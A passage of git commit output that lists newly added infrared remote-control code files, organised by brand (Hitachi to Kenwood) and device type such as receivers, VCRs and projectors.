assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Insignia/TV/134,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,172.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/TV/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/TV/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/TV/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/0,14.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,14.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/8,14.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir create mode 100644 